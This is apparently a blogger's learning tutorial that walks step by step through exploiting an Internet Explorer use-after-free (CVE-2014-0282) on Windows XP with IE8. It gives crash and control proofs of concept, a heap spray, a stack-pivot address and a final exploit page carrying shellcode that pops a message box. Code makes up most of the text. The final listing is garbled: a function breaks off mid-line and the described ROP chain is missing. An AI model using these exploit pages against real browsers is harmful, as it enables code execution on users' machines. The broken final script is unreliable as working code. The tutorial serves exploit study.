Exploiting CVE-2014-0282 (MS-35) CInput Use-After-Free Vulnerability

In this article I want to introduce exploitation of a known Microsoft Internet Explorer vulnerability.

CVE-2014-0282 is a use-after-free vulnerability discovered in Internet Explorer in June 2014. It affects all versions of the product between IE6 and IE11, and was fixed in MS14-035. It is possible now to find actual POC and exploitation code on Internet yet I want to retrace here all the steps for learning purposes.

You need to be already familiar with the concepts of exploit, Return Oriented Programming, and Heap Spray etc. I’m going to discuss them here yet I highly recommend studying documents and websites on References section of this article.

The most critical step in studying an exploit is of course is of course to finding a running Proof of Concept (POC) code showing the vulnerability and causing the crash. I could run the following POC on Windows XP SP3 and Internet Explorer 8 successfully. (If your machine has not intended version of Internet Explorer, you can download all versions of interest on IE Collection Website.) Ok, let’s check out the POC:



<html>
<head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>
<body>
<form id="testfm">
<textarea id="child" value="a1" ></textarea>
<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
<textarea id="child3" value="a2" ></textarea>
<input type="text" name="test1">
</form>
<script>
var startfl=false;
function changer() {
// Call of changer function will happen inside mshtml!CFormElement::DoReset call, after execution of this function crash in DoReset will happen when accessing freed CInput element  
   if (startfl) {
       document.getElementById("testfm").innerHTML = ""; // Destroy form contents, free next CInput in DoReset
       CollectGarbage();
   }
    
}
document.getElementById("child2").checked = true;
document.getElementById("child2").onpropertychange=changer;
startfl = true;
document.getElementById("testfm").reset(); // DoReset call
</script>
</body>
</html>



Internet Explorer crash

When I ran this POC on our computer, I could witness that it was actually causing the crash:

To understand what is causing the crash, we need to attach the debugger. Before debugging the application I strongly recommend

1) Downloading the Symbol Files for the WinDBG and calling it with .symfix symbolfilepath,

2) Running the following code to enable heap debugging:

Enable Heap Debugging

Now we can check out where exactly the crash occurs:

Crash Debugging

Here we see that the application crashes within the CElement::GetLookAsidePointer function inside mshtml.dll and at the instruction “and eax, dword ptr [esi + 1Ch]”, indicating there is failure when a pointer object at ESI register is being be assigned to EAX register.

When we check sequence of commands with kv command, we can see the second last command iwas mshtml!CFormElement::DoReset, which we know from our POC.

When we deep further with the heap blocks of ESI as below, we see that that address actually refers to a freed object, which obviously shows this is a case of Use After Free. The command “!heap –p –a esi” details heap allocation at the specified address, including a backtrace which details the sequence of calls that lead to the memory being freed. We can see that prior to RtlFreeHeap command in ntdll, the function to access the memory was CTextArea::’vector deleting destructor’. This indicates that the area of memory previously contained a CTextArea object which was released; again this ties in with the original code, as two text area objects are created within the form element in POC.

Crash Debugging Heap

We could determine that CTextArea object in msdhtml.dll is our area of interest. We also need to figure out the amount of memory allocated for this object. First we open mshtml.dll in IDA as below:

mshtml_dll_function in IDA Pro

If we dissambly that function, we can see that the amount of memory pushed into the stack is 60h in other words 96 bytes.

mshtml_dll_dissambly in IDA Pro

We found out we have been tackling with a Use After Free vulnerability after an object freed within heap memory. In order to reach our goal of exploitation, we must be able to overwrite this section of memory.

For this purpose, we change our POC as below:



<html>
<head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>
<body>
<form id="testfm">
<textarea id="child" value="a1" ></textarea>
<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
<textarea id="child3" value="a2" ></textarea>
<input type="text" name="test1">
</form>
<script>
var startfl=false;
function changer()
{
  if (startfl)
  {
var c = new Array(100);
for (var a = 0; a < 100; a++) {
c[a] = document.createElement('img'); }
document.getElementById("testfm").innerHTML = ""; CollectGarbage();
var b1 = "%u4141%u4141";
for (var a = 4; a < 94; a += 2)
    {
      b1 += "%u4242";
}
b = unescape(b1)
for (var a = 0; a < c.length; a++) {
      c[a].title = b;
    }
}
}
document.getElementById("child2").checked = true;
document.getElementById("child2").onpropertychange=changer;
startfl = true;
document.getElementById("testfm").reset(); // DoReset call
</script>
</body>
</html>



Yes, the vulnerability is indeed exploitable. We can control EAX register and the EIP crashes at EAX + 1D4h. This indicates that we should keep in mind an offset value of 468 byte to point attack command.

Exploitability on Debugger

So far so good, it seems it is time for Heap Spray. I’m not going to get into details of what Heap Spray is, you can find wonderful information from our References about the subject, yet I just want to share the spray code I actually used:



<html>
<script>
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
    
    block_size = 0x1000;
    padding_size = 0x5F4; //offset to 0x0c0c0c0c inside our 0x1000 hex block
    Padding = '';
    NopSlide = '';
    
    var Shellcode = unescape(
    '%u7943%u6562%u5372'+   // ASCII  43 79 62 65 72 53 70 68 69 6e 78
    '%u6870%u6e69%u9078'  // CyberSphinx
);
    
    for (p = 0; p < padding_size; p++){
    Padding += unescape('%u4141');}
    
    for (c = 0; c < block_size; c++){
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
    
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
    
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
    
    alert("Sprayed You!");
    
</script>
</html>


If you run the code above and check out the memory with WinDBG (after pausing it), you can see that we can have evenly distributed heap blocks in memory:

Heap Spray

We can now combine this spray code with our controlled POC. Here I should remind you canceling heap debugger option we enabled before. If you won’t do this, your code probably won’t crash at the point where it crashed before (it took my days before I could figure this case out).

Cancelling Heap Debugger Option

Below is our new code to direct our crash to the heap address 0x0c0c0c0c:




<html>
<head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>
<body>
 
 
 
<script>
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
    
    block_size = 0x1000;
    padding_size = 0x5F4; //offset to 0x0c0c0c0c inside our 0x1000 hex block
    Padding = '';
    NopSlide = '';
    
 
    
    var Shellcode = unescape(
    '%u7943%u6562%u5372'+   // ASCII  43 79 62 65 72 53 70 68 69 6e 78
    '%u6870%u6e69%u9078'  // CyberSphinx
);  
    for (p = 0; p < padding_size; p++){
    Padding += unescape('%u4141');}
    
    for (c = 0; c < block_size; c++){
               //   468 / 2 = 234; 234 - 6 = 228
if (c == 228){
NopSlide += unescape('%u4242%u4242');  
 
// NopSlide += unescape('%u8b05%u7c34');  // 0x7c348b05 (Stack Pivoting)
c++;
}else
{
NopSlide += unescape('%u9090');
}
}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
    
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
    
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
    
 
</script>
 
 
 
<form id="testfm">
<textarea id="child" value="a1" ></textarea>
<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
<textarea id="child3" value="a2" ></textarea>
<input type="text" name="test1">
</form>
 
 
 
<script>
 
var startfl=false;
function changer() {
 
 
 
 
// Call of changer function will happen inside mshtml!CFormElement::DoReset call, after execution of this function crash in DoReset will happen when accessing freed CInput element  
if (startfl) {
var c = new Array(100);
for (var a = 0; a < 100; a++)
{
c[a] = document.createElement('img');
}
document.getElementById("testfm").innerHTML = "";
 
 
CollectGarbage();
 
var b1 = unescape("%u0c0c%u0c0c");
for (var a = 4; a < 94; a += 2)
{
b1 += "%u4242";
}
b = unescape(b1)
for (var a = 0; a < c.length; a++)
{
c[a].title = b;
}
   }
    
}
 
 
document.getElementById("child2").checked = true;
document.getElementById("child2").onpropertychange=changer;
startfl = true;
document.getElementById("testfm").reset(); // DoReset call
 
 
 
</script>
</body>
</html>



WinDbg Debugger hit

Okay, we can control EAX, now we should transfer this value to stack. For stack pivoting, we can use the famous address of 0x7c348b05 from MSVCR71.dll (this dll becomes installed and registered if you download and install Java into your OS). To achieve stack pivoting, you can just uncomment the code line “NopSlide += unescape(‘%u8b05%u7c34’); // 0x7c348b05” from the code above.

Exploit Stack Pivoting

Finally we can complete our code by adding ROP code (again by using addresses from MSVCR71.dll) for Virtual Protect function and our shellcode .

The shellcode simply alerts our nickname and I created the shell code with this simple command “msfvenom -a x86 –platform windows -p windows/messagebox TEXT=”Cyber Sphinx” -f js_le”:

You can follow the execution of ROP by breakpointing at a desired address (bp 3eb4e705) and then by pressing “t” sequentially.





<html>
<head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>
<body>
 
 
 
<script>
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length "Cyber Sphinx!"
    //--------------------------------------------------------------//
"%uebd9%ud99b%u2474%u31f4%ub2d2%u3177%u64c9%u718b%u8b30%u0c76%u768b%u8b1c%u0846" +
"%u7e8b%u8b20%u3836%u184f%uf375%u0159%uffd1%u60e1%u6c8b%u2424%u458b%u8b3c%u2854" +
"%u0178%u8bea%u184a%u5a8b%u0120%ue3eb%u4934%u348b%u018b%u31ee%u31ff%ufcc0%u84ac" +
"%u74c0%uc107%u0dcf%uc701%uf4eb%u7c3b%u2824%ue175%u5a8b%u0124%u66eb%u0c8b%u8b4b" +
"%u1c5a%ueb01%u048b%u018b%u89e8%u2444%u611c%ub2c3%u2908%u89d4%u89e5%u68c2%u4e8e" +
"%uec0e%ue852%uff9f%uffff%u4589%ubb04%ud87e%u73e2%u1c87%u5224%u8ee8%uffff%u89ff" +
"%u0845%u6c68%u206c%u6841%u3233%u642e%u7568%u6573%u3072%u88db%u245c%u890a%u56e6" +
"%u55ff%u8904%u50c2%ua8bb%u4da2%u87bc%u241c%ue852%uff5f%uffff%u6f68%u5878%u6820" +
"%u6761%u4265%u4d68%u7365%u3173%u88db%u245c%u890a%u68e3%u2058%u2020%u6868%u6e69" +
"%u6878%u2072%u7053%u4368%u6279%u3165%u88c9%u244c%u890c%u31e1%u52d2%u5153%uff52" +
"%u31d0%u50c0%u55ff%u4108"
 
);
    
    for (p = 0; p < padding_size; p++){
    Padding += unescape('%u4242');}
    
    for (c = 0; c < block_size; c++){
if (c == 46){
// NopSlide += unescape('%u4242%u4242');  // 0x7c348b05
NopSlide += unescape('%u8b05%u7c34');  // 0x7c348b05
c++;
}else
{
NopSlide += unescape('%u9090');
}
}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
    
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
    
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
    
 
</script>
 
 
 
<form id="testfm">
<textarea id="child" value="a1" ></textarea>
<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
<textarea id="child3" value="a2" ></textarea>
<input type="text" name="test1">
</form>
 
 
 
<script>
 
var startfl=false;
function changer() {
 
 
 
 
// Call of changer function will happen inside mshtml!CFormElement::DoReset call, after execution of this function crash in DoReset will happen when accessing freed CInput element  
if (startfl) {
var c = new Array(100);
for (var a = 0; a < 100; a++)
{
c[a] = document.createElement('img');
}
document.getElementById("testfm").innerHTML = "";
 
 
CollectGarbage();
//var b1 = unescape("%u0a38%u0c0c");
var b1 = unescape("%u0c0c%u0c0c");
for (var a = 4; a < 94; a += 2)
{
b1 += "%u4242";
}
b = unescape(b1)
for (var a = 0; a < c.length; a++)
{
c[a].title = b;
}
   }
    
}
 
 
document.getElementById("child2").checked = true;
document.getElementById("child2").onpropertychange=changer;
startfl = true;
document.getElementById("testfm").reset(); // DoReset call
 
 
 
</script>
</body>
</html>



Exploit Successfully Running

As final words, I enjoyed studying this exploit. I’m grateful to the fellowing web sites on the Reference List:

1) White Paper by NCC Group Publication

2) Tutorial by Fuzzy Security (b33f)

3) Tutorial by Corelean Team